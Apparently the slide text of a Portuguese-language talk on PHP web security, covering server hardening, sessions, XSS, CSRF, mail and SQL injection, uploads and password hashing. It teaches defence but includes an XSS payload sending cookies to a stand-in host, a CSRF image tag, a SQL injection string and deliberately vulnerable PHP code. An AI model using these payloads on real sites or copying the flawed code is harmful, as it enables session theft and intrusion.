Vitor Mattos
CTO da LibreCode, empreendedor, sempre buscando novos desafios e conhecimentos. Grande incentivador do software livre, evangelista PHP, palestrante em eventos regionais e nacionais.
@VitorMattosRJ
Desenvolvedor PHP desde 2003
Amante de opensource
Evangelista PHP
PHP Zend Certified Engineer ( ZEND024235 )
PHPRio ( https://telegram.me/phprio )
CTO LibreCode Coop
Redes sociais: ( VitorMattos ou VitorMattosRJ )
A LibreCode é uma cooperativa de trabalho com modelo de gestão democrática, segura e eficiente composta por profissionais de T.I. altamente qualificados e experientes no mercado. Prezamos por apresentar vantagens, tanto para o cooperado como para as empresas parceiras.
Cursos Gratuitos
para início imediato!
Tentarei ser breve :-D
informação sempre disponível para o uso ...
de quem?
expose php = Off
Altere no php.ini
ServerSignature Off
ServerTokens Prod
Altere no arquivo de configuração do Apache:
Major|Minor|Min[imal]|Prod[uctOnly]|OS|Full
Altere no VirtualHost:
Options -Indexes
Altere no VirtualHost:
RedirectMatch 404 /\.git
Altere no php.ini:
display_errors = Off
display_errors
Mostra erros na tela
error_reporting
log_errors
error_log
Nível de erro mostrado
Logar erros
Arquivo de log
set_error_handler
Cria um novo manipulador de erros
Monitore logs: grafana
Monitore logs: graylog
shell_exec()
system()
passthru()
proc_*()
exec()
shell_exec()
system()
passthru()
proc_*()
exec()
Utilize apenas códigos de terceiros que sejam confiáveis
Muitas falhas de seguranças são injetadas em um sistema por códigos de terceiros, módulos, plugins, libs, etc.
Desabilite ou evite fazer include de código a partir de uma URL
chmod 777
LXC
Local de armazenamento
Cliente: Cookie
Servidor: Sessão
Como funcionam?
Oculte informações sobre o servidor
Altere no php.ini
session.name
session.name specifies the name of the session which is used as cookie name. It should only contain alphanumeric characters. Defaults to PHPSESSID.
Valide user-agent e IP
Armazene o user-agent e o IP do usuário autenticado e não permita que a sessão continue up caso estes dados sejam alterados.
OBS: Evite armazenar dados não encriptados!!!
Hospedagens compartilhadas podem ter brechas de permissões de acesso a dados de outros clientes.
Se a aplicação requer segurança alta, evite utilizá-las.
Caso não tenha escolha, investigue se é segura.
Altere esta configuração quando for hospedagem compartilhada:
session.save_path
session.save_path defines the argument which is passed to the save handler. If you choose the default files handler, this is the path where the files are created
Dados de sessão podem ser visualizados quando não criptografados com HTTPS
Esperado:
Exibindo resultados para a consulta "<?=$_GET['q'];?>"
Exibindo resultados para a consulta "<?=$_GET['q'];?>"
O que ocorrerá:
Exibindo resultados para a consulta "<?=$_GET['q'];?>"
O que ocorrerá:
localhost/?q=<script>
document.location="http://site.do.mal/get.php?cookie=" + document.cookie
</script>
Faça tratamento dos dados
filter_var
strip_tags
html_entities
mysql_real_escape_string
is_[bool|callable|numeric|float|string|object|etc]
CSRF é um ataque que força um usuário final à executar ações indesejadas em uma aplicação web em que ele(a) está autenticado no momento.
Exemplo:
Uma pessoa descobre que para transferir dinheiro em seu banco a url é a seguinte:
https://banco.com.br/transfer?to=Maria&amount=10000
Uma pessoa descobre que para transferir dinheiro em seu banco a url é a seguinte:
https://banco.com.br/transfer?to=Maria&amount=10000
Esta pessoa manda email para uma vítima que usa o mesmo banco com o seguinte código no corpo do email:
<img src="https://banco.com.br/transfer?to=Joselito&amount=10000"
width="0" height="0"/>
Como evitar?
Codifique os campos do formulário e armazene na sessão para decodificar em seguida e armazene um token no formulário
Como evitar?
<form method="POST">
Área:
<select name="area">
<option value="contato@site.com.br">Contato</option>
</select>
Seu nome: <input name="nome">
Seu email: <input name="email">
Sua mensagem: <input name="mensagem">
<input type="submit">
</form>
<?php
if(!isset($_POST['nome'])) return;
$cabecalhos = "From {$_POST['nome']} <{$_POST['email']}>";
$para = $_POST['para'];
$assunto = "Contato pelo site";
$corpo = $_POST['mensagem'];
mail($para, $assunto, $corpo, $cabecalhos);
Esperado:
Área: contato@site.com.br
Seu nome: Vitor Mattos
Seu email: vitor@lt.coop.br
Sua mensagem: Olá! Gostei da apresentação
<form method="POST">
Área:
<select name="area">
<option value="contato@site.com.br">Contato</option>
</select>
Seu nome: <input name="nome">
Seu email: <input name="email">
Sua mensagem: <input name="mensagem">
<input type="submit">
</form>
<?php
if(!isset($_POST['nome'])) return;
$cabecalhos = "From {$_POST['nome']} <{$_POST['email']}>";
$para = $_POST['para'];
$assunto = "Contato pelo site";
$corpo = $_POST['mensagem'];
mail($para, $assunto, $corpo, $cabecalhos);
O que ocorrerá:
Área: all@senado.br
Seu nome: Presidente do Brasil
Seu email: presidente@senado.br
Sua mensagem: Quando receberei meu próximo mensalão?
<form method="POST">
Área:
<select name="area">
<option value="contato@site.com.br">Contato</option>
</select>
Seu nome: <input name="nome">
Seu email: <input name="email">
Sua mensagem: <input name="mensagem">
<input type="submit">
</form>
<?php
if(!isset($_POST['nome'])) return;
$cabecalhos = "From {$_POST['nome']} <{$_POST['email']}>";
$para = $_POST['area'];
$assunto = "Contato pelo site";
$corpo = $_POST['mensagem'];
mail($para, $assunto, $corpo, $cabecalhos);
NUNCA, NUNCA, NUNCA
faça um formulário de login usando method GET
https://site.com/login?usr=nome&passwd=123456
A senha vai ficar exposta e será salva no histórico do navegador!!!
Defina uma política de senhas
NUNCA confie no usuário.
Valide sempre os dados de formulários
no cliente e no servidor.
Bloqueie tentativas repetidas de login do mesmo ip.
Rate limiting
Solve the Riemann hypothesis
Can't know the solution? Sorry.
Solve the Riemann hypothesis
Can't know the solution? Sorry.
Sempre confira o MYME type
$_FILES["file"]["type"]
Não confie só no MIME type
Também confira o tipo de imagem
Sempre confira a extensão dos arquivos
Redimensione imagens e salve para eliminar qualquer informação não desejável (exif, esteganografia), poupar espaço e banda
Limite o tamanho máximo de arquivos enviados
<?php
ini_set('upload_max_filesize', '40M');
Cuidado com o local onde armazena arquivos enviados
Recomendável mover para um domínio exclusivo para arquivos estáticos
Se possível, restrinja upload para usuários autenticados.
Evite query string
https://www.site.com/index.php?module=user&action=profile&id=17
https://www.site.com/user/17
Proteja identificadores
https://www.site.com/user/17
https://www.site.com/user/a2f31b55
Não tem como usar url amigáveis?
Faça tratamento dos dados
filter_var
strip_tags
html_entities
mysql_real_escape_string
is_[bool|callable|numeric|float|string|object|etc]
GRANT ALL PRIVILEGES ON database TO user;
é um tipo de ameaça de segurança que se aproveita de falhas em sistemas que interagem com bases de dados através de comandos SQL, onde o atacante consegue inserir uma instrução SQL personalizada e indevida dentro de uma consulta (SQL query) através da entradas de dados de uma aplicação, como formulários ou URL de uma aplicação
By: Wikipedia
<form method="post">
Usuário: <input name="user" />
Senha: <input type="password" name="pass" />
<input type="submit">
</form>
<?php
$result = mysql_query(
"SELECT * ".
" FROM user".
" WHERE user = '{$_POST['user']}'".
" AND pass = '{$_POST['pass']}'"
);
Se o usuário digitar:
user: ' OR 1 = 1;--
pass: sfk3lkjsdlds
Teremos:
SELECT *
FROM user
WHERE user = '' OR 1 = 1;--
AND pass='sfk3lkjsdlds'
Uma consulta preparada é processada, gerando um plano de execução que pode ser executado várias vezes em uma sessão, com ganho de performance.
Exemplo:
$sql =
"INSERT INTO log (ip, url) ".
"VALUES (?, ?)";
$sth = $dbh->prepare($sql);
$sth->execute(array(
'192.168.1.100',
'http://localhost'
));
NUNCA use md5 ou apenas md5, rainbow table:
$hash = password_hash('segredo!');
// $2y$10$.vGA1O9wmRjrwAVXD98HNOgsNpDczlqm3Jq7KnEd1rVAGv3Fykk1a
if (password_verify('segredo!', $hash)) {
echo 'Password is valid!';
} else {
echo 'Invalid password.';
}
TJ‑RS sofre ataque de ransomware
A ameaça criptografou arquivos e exigiu o pagamento de um resgate no valor de US$ 5.000.000. Alguns dos serviços disponibilizados pelo portal do TJ-RS estão temporariamente indisponíveis.
Não guarde os backups no servidor de aplicação
Backup deve ser feito por um servidor externo acessando o servidor de aplicação
Defina políticas de acesso
Faça relatórios de backup e testes de restauração com frequência
vitor@lt.coop.br
Linkedin: vitormattos
Telegram: vitormattos
Redes sociais:
( VitorMattos ou VitorMattosRJ )
By Vitor Mattos
Quem nunca se deparou com notícia de sites invadidos, vazamento de dados e coisas do tipo? Tome nota de dicas super importantes para elevar o nível de segurança de aplicações web. Soluções de segurança não envolvem apenas linhas de código mas servidores, senhas, pessoas e muito mais!
CTO da LibreCode, empreendedor, sempre buscando novos desafios e conhecimentos. Grande incentivador do software livre, evangelista PHP, palestrante em eventos regionais e nacionais.